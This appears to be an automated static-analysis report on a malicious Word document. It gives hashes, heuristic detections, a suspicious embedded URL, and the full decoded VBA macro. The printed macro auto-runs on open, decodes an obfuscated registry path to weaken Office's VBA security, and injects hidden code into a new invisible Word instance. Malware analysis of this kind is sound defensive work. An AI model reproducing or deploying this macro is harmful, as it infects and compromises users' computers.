Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99742d51b4974e0f…

MALICIOUS

Office (OOXML)

169.4 KB Created: 2021-04-28 05:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: e97dfbb6a29d250874ff2213ed978d06 SHA-1: acc5436588697038d93790a68f661a9b95d6df49 SHA-256: 99742d51b4974e0f84ca4f5a5837fdbc3d7e3e6b853205841942511222679aa9
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    tableNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString procedureTemp
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set leftRemove = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://garrettgenius.com/bijol/72434/c6iX3ldy7Eq9XLicGSEH/Q5DxImz1BYKnlTMmjAL9k2huJIqBoyNbC4tt/5bIpGxMHTf/50797/laka11?search=Y6y5xcvi5wMUHifUXeeJZzzo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2905 bytes
SHA-256: 867f642d79b41d87095c6fe7c6cc93b87990e36b7f7558213d78bbd19c27f427
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{722FA269-DF7B-49D0-8FD5-C51B18E5E74C}{EDBBB4CB-C6F5-4BF1-A490-D972685194C3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "libVarBuffer"
Sub autoopen()
listboxCopy
Dim localVarNamespace As String
localVarNamespace = tableReference
valueProcedure localVarNamespace
End Sub

Attribute VB_Name = "valueMemMemory"
Function classArgument(namespaceClear As String) As Variant
Dim leftRemove As Object
Dim valueStructNext As Object
Set leftRemove = CreateObject("msxml2.domdocument")
Set valueStructNext = leftRemove.createElement("code")
valueStructNext.DataType = "bin.base64"
valueStructNext.Text = namespaceClear
classArgument = valueStructNext.nodeTypedValue
End Function
Function sizeMemory(referenceCaption, vbClass)
sizeMemory = StrConv(referenceCaption, vbClass)
End Function

Attribute VB_Name = "valueViewRequest"
Sub valueProcedure(procedureTemp As String)
Set buttonLocal = CreateObject("word.application")
Set tableNamespace = buttonLocal.Documents.Add
tableNamespace.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString procedureTemp
buttonLocal.Visible = False
buttonLocal.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "exceptionNextBuffer"
Function windowResponseSwap() As String
windowResponseSwap = Application.Version
End Function
Function deleteNext()
deleteNext = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function titleIterator()
titleIterator = "cript.sh"
End Function
Function repoFunc()
repoFunc = "VjdXJpdHlcQWN"
End Function
Sub listboxCopy()
funcClearText = sizeMemory(classArgument("SEtFWV9DVVJSR" & deleteNext & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
listboxData = windowResponseSwap
iteratorGeneric = sizeMemory(classArgument("XFdvcmRcU2" & repoFunc & "jZXNzVkJPTQ=="), vbUnicode)
genericStructListbox = funcClearText & listboxData & iteratorGeneric
With CreateObject("ws" & titleIterator & "ell")
.RegWrite genericStructListbox, 1, "REG_DWORD"
End With
End Sub
Public Function namespaceArrayClear(ByVal bufferGlobalStruct As String) As String
For bufferReference = 1 To Len(bufferGlobalStruct) Step 2
viewFuncArray = Chr$(Val("&H" & Mid$(bufferGlobalStruct, bufferReference, 2)))
listButton = listButton & viewFuncArray
Next bufferReference
namespaceArrayClear = listButton
End Function
Function tableReference()
tableReference = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 1d8d0ba55b6da7740a6164a9428f0465e4098e7f67bc263d6454a32d0d926791